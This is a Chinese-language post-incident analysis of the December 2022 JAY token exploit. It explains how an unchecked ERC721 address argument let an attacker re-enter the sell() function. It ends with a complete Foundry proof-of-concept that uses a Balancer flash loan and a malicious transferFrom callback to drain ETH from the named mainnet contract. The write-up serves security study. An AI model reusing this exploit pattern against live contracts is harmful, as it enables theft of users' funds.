{"content":{"title":"JAY项目攻击事件","body":"### 20221229 - JAY - Insufficient validation + Reentrancy\r\n\r\n\r\n[https://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6](https://t.co/E8z1rMM2Dg)\r\n\r\n漏洞简介\r\n----\r\n\r\n[https://twitter.com/blocksecteam/status/1608372475225866240](https://twitter.com/blocksecteam/status/1608372475225866240) [https://twitter.com/certikalert/status/1608338952896876551](https://twitter.com/certikalert/status/1608338952896876551)\r\n\r\n相关地址和交易\r\n-------\r\n\r\n攻击交易：\r\n\r\n`0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6`\r\n\r\n攻击合约：\r\n\r\n`0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340`\r\n\r\n被攻击合约：\r\n\r\n`0xf2919d1d80aff2940274014bef534f7791906ff2`\r\n\r\n获利分析\r\n----\r\n\r\n![image-20230228202553164.png](https://img.learnblockchain.cn/attachments/2023/02/QOypk4hy63fe278264af2.png)\r\n\r\n攻击过程&漏洞原因\r\n---------\r\n\r\n在`buyJay`函数中，没有对参数`erc721TokenAddress`限制，导致可以是任意地址。\r\n\r\n将攻击合约地址写入`erc721TokenAddress`,这样就能调用`transferFrom`函数，这里因为地址是攻击合约地址，则可以在攻击合约中，重新定义一个`transferFrom`函数。这样就能够在`buyJay`函数中，添加未知的操作。\r\n\r\n```solidity\r\nfunction buyJay(\r\n        address[] calldata erc721TokenAddress,\r\n        uint256[] calldata erc721Ids,\r\n        address[] calldata erc1155TokenAddress,\r\n        uint256[] calldata erc1155Ids,\r\n        uint256[] calldata erc1155Amounts\r\n    ) public payable {\r\n      ...\r\n      buyJayWithERC721(erc721TokenAddress, erc721Ids);\r\n    }\r\n```\r\n```\r\n function buyJayWithERC721(\r\n        address[] calldata _tokenAddress,\r\n        uint256[] calldata ids\r\n    ) internal {\r\n        for (uint256 id = 0; id < ids.length; id++) {\r\n            IERC721(_tokenAddress[id]).transferFrom(\r\n                msg.sender,\r\n                address(this),\r\n                ids[id]\r\n            );\r\n        }\r\n    }\r\n```\r\n\r\n攻击合约定义的`transferFrom`函数\r\n\r\n这里调用了`sell`函数，将合约中拥有的`Jay`卖掉\r\n\r\n```\r\nfunction transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {\r\n    \t\t\t\t// 卖出当前合约拥有的JAY\r\n            JAY.sell(JAY.balanceOf(address(this)));  // reenter call JAY.sell\r\n    }\r\n```\r\n\r\n`sell`函数：\r\n\r\n`JAYtoETH`这是计算`JAY`换成`eth`的函数\r\n\r\n```\r\nfunction sell(uint256 value) public {\r\n        // 卖出的数量需要大于最小值1000\r\n        require(value > MIN, \"Dude tf\");\r\n\r\n        // 获得JAY能换成的eth数量\r\n        uint256 eth = JAYtoETH(value);\r\n        // 将msg.sender拥有的Jay销毁\r\n        _burn(msg.sender, value);\r\n\r\n        // 将90% eth转给msg.sender\r\n        (bool success,) = msg.sender.call{value : eth.mul(90).div(100)}(\"\");\r\n        require(success, \"ETH Transfer failed.\");\r\n        // 将10% eth / 33转给owner\r\n        (bool success2,) = dev.call{value : eth.div(33)}(\"\");\r\n        require(success2, \"ETH Transfer failed.\");\r\n\r\n        emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));\r\n    }\r\n```\r\n\r\n`JAYtoETH`:\r\n\r\n```\r\nfunction JAYtoETH(uint256 value) public view returns (uint256) {\r\n        return (value * address(this).balance).div(totalSupply());\r\n }\r\n```\r\n\r\n目前的程序执行就是这样的：\r\n\r\n在执行`return (value * address(this).balance).div(totalSupply());`这里时，还没有运行`_mint(msg.sender, ETHtoJAY(msg.value).mul(97).div(100));`也就是`_totalsupply`还没有变多，那么这里算出来的`eth`就会变多，达到了攻击的目的。\r\n```solidity\r\nfunction buyJay(\r\n        address[] calldata erc721TokenAddress,\r\n        uint256[] calldata erc721Ids,\r\n        address[] calldata erc1155TokenAddress,\r\n        uint256[] calldata erc1155Ids,\r\n        uint256[] calldata erc1155Amounts\r\n    ) public payable {\r\n        // 需要start = true\r\n        require(start, \"Not started!\");\r\n        uint256 total = erc721TokenAddress.length;\r\n        // 用ERC721购买Jay\r\n        if (total != 0) buyJayWithERC721(erc721TokenAddress, erc721Ids);\r\n        function buyJayWithERC721(\r\n        address[] calldata _tokenAddress,\r\n        uint256[] calldata ids\r\n       ) internal {\r\n           for (uint256 id = 0; id < ids.length; id++) {\r\n             IERC721(_tokenAddress[id]).transferFrom(\r\n                 msg.sender,\r\n                 address(this),\r\n                 ids[id]\r\n             );\r\n              function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {\r\n    \t\t\t\t// 卖出当前合约拥有的JAY\r\n            \t\t\tJAY.sell(JAY.balanceOf(address(this)));  // reenter call JAY.sell\r\n            \t\t\tfunction sell(uint256 value) public {\r\n                      // 卖出的数量需要大于最小值1000\r\n                      require(value > MIN, \"Dude tf\");\r\n\r\n                      // 获得JAY能换成的eth数量\r\n                      uint256 eth = JAYtoETH(value);\r\n                      function JAYtoETH(uint256 value) public view returns (uint256) {\r\n        \t\t\t\t\t\t\t\t\t\treturn (value * address(this).balance).div(totalSupply());\r\n    \t\t\t\t\t\t\t\t\t}\r\n                      // 将msg.sender拥有的Jay销毁\r\n                      _burn(msg.sender, value);\r\n\r\n                      // 将90% eth转给msg.sender\r\n                      (bool success,) = msg.sender.call{value : eth.mul(90).div(100)}(\"\");\r\n                      require(success, \"ETH Transfer failed.\");\r\n                      // 将10% eth / 33转给owner\r\n                      (bool success2,) = dev.call{value : eth.div(33)}(\"\");\r\n                      require(success2, \"ETH Transfer failed.\");\r\n\r\n                      emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));\r\n   \t\t\t\t\t\t\t }\r\n   \t\t\t\t\t }\r\n           }\r\n        }\r\n\r\n        // 用ERC1155购买Jay\r\n        if (erc1155TokenAddress.length != 0)\r\n            total = total.add(\r\n                buyJayWithERC1155(\r\n                    erc1155TokenAddress,\r\n                    erc1155Ids,\r\n                    erc1155Amounts\r\n                )\r\n            );\r\n        // 如果个数大于等于100，则转入的钱需要大于等于 total * 0.001 * 10^18 / 2\r\n        if (total >= 100)\r\n            require(\r\n                msg.value >= (total).mul(sellNftFeeEth).div(2),\r\n                \"You need to pay ETH more\"\r\n            );\r\n        else\r\n            // 小于100，则转入的钱需要大于等于 total * 0.001 * 10^18\r\n            require(\r\n                msg.value >= (total).mul(sellNftFeeEth),\r\n                \"You need to pay ETH more\"\r\n            );\r\n        // msg.sender 获得 97% ETH等价的JAY\r\n        _mint(msg.sender, ETHtoJAY(msg.value).mul(97).div(100));\r\n\r\n        // 转给owner 转入ETH / 34\r\n        (bool success,) = dev.call{value : msg.value.div(34)}(\"\");\r\n        require(success, \"ETH Transfer failed.\");\r\n\r\n        nftsSold += total;\r\n\r\n        emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));\r\n    }\r\n```\r\n\r\n\r\n\r\n### 总结\r\n\r\n*   没有对输入的地址进行判断\r\n    \r\n*   关键`sell`函数没有防止重入\r\n    \r\n\r\n## POC\r\n\r\n\r\n```solidity\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.10;\r\n\r\nimport \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\n// @Analysis\r\n// https://twitter.com/BlockSecTeam/status/1608372475225866240\r\n\r\n// @TX\r\n// https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6\r\n\r\ninterface IJay {\r\n    function buyJay(\r\n        address[] memory erc721TokenAddress,\r\n        uint256[] memory erc721Ids,\r\n        address[] memory erc1155TokenAddress,\r\n        uint256[] memory erc1155Ids,\r\n        uint256[] memory erc1155Amounts\r\n    ) external payable;\r\n    function sell(uint256 value) external;\r\n    function balanceOf(address account) external view returns (uint256);\r\n}\r\n\r\n\r\ncontract ContractTest is DSTest{\r\n\t\t// JAY地址\r\n    IJay JAY = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2);\r\n    // BalancerVault地址\r\n    IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\r\n    // weth地址\r\n    WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\r\n\r\n    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\r\n\r\n    function setUp() public {\r\n        cheats.createSelectFork(\"mainnet\", 16288199);    // Fork mainnet at block 16288199\r\n    }\r\n\r\n    function testExploit() public {\r\n        payable(address(0)).transfer(address(this).balance);\r\n        emit log_named_decimal_uint(\r\n            \"[Start] ETH balance before exploitation:\",\r\n            address(this).balance,\r\n            18\r\n        );\r\n        // Setup up flashloan paramaters.\r\n        // 设置闪电贷的参数，tokens = weth,amounts = 72.5 ether\r\n        address[] memory tokens = new address[](1);\r\n        tokens[0] = address(weth); \r\n        uint256[] memory amounts = new uint256[](1);\r\n        amounts[0] = 72.5 ether;\r\n        bytes memory b = \"0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000\";\r\n        // Execute the flashloan. It will return in receiveFlashLoan()\r\n        // 执行flashloan，将钱转入到当前合约地址\r\n        Vault.flashLoan(address(this), tokens, amounts, b);\r\n    }\r\n\r\n\t\t// 闪电贷的回调函数\r\n    function receiveFlashLoan(\r\n        IERC20[] memory tokens,\r\n        uint256[] memory amounts,\r\n        uint256[] memory feeAmounts,\r\n        bytes memory userData\r\n    ) external {\r\n        require(msg.sender == address(Vault));\r\n\r\n        // Transfer WETH to ETH and start the attack.\r\n        // weth提现\r\n        weth.withdraw(amounts[0]);\r\n\t\r\n\t\t\t\t// 花22eth买Jay\r\n        JAY.buyJay{value: 22 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));\r\n\t\t\t\t\r\n\t\t\t\t// 将erc721TokenAddress地址设置成本合约地址\r\n        address[] memory erc721TokenAddress = new address[](1);\r\n        erc721TokenAddress[0] = address(this);\r\n\t\t\r\n\t\t\t\t// 将erc721Ids设置成0\r\n        uint256[] memory erc721Ids = new uint256[](1);\r\n        erc721Ids[0]= 0;\r\n        \r\n        // 花50.5eth购买Jay\r\n        JAY.buyJay{value: 50.5 ether}(erc721TokenAddress, erc721Ids,new address[](0),new uint256[](0),new uint256[](0));\r\n        // 将当前合约拥有的JAY卖出\r\n        // 攻击成功，将JAY卖出换成eth\r\n        JAY.sell(JAY.balanceOf(address(this)));\r\n \t\t\t\t\r\n \t\t\t\t// 重复此过程\r\n\t\t\t\t// 花3.5eth购买Jay\r\n        JAY.buyJay{value: 3.5 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));\r\n        // 花8eth购买Jay\r\n        JAY.buyJay{value: 8 ether}(erc721TokenAddress,erc721Ids,new address[](0),new uint256[](0),new uint256[](0));\r\n        // 将当前合约拥有的JAY卖出\r\n        JAY.sell(JAY.balanceOf(address(this)));\r\n\r\n        // Repay the flashloan by depositing ETH for WETH and transferring.\r\n        // 将ETH变成WETH\r\n        address(weth).call{value: 72.5 ether}(\"deposit\");\r\n        // 还钱\r\n        weth.transfer(address(Vault), 72.5 ether);\r\n\r\n        emit log_named_decimal_uint(\r\n            \"[End] ETH balance after exploitation:\",\r\n            address(this).balance,\r\n            18\r\n        );\r\n    }\r\n    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {\r\n    \t\t\t\t// 卖出当前合约拥有的JAY\r\n            JAY.sell(JAY.balanceOf(address(this)));  // reenter call JAY.sell\r\n    }\r\n  receive() external payable {}\r\n}\r\n```"},"author":{"user":"https://learnblockchain.cn/people/11989","address":null},"history":"QmSD3QRGdtjfiPgF17STgpgkiX1BUt9AWWaZqVg7XoRV4r","timestamp":1677600940,"version":1}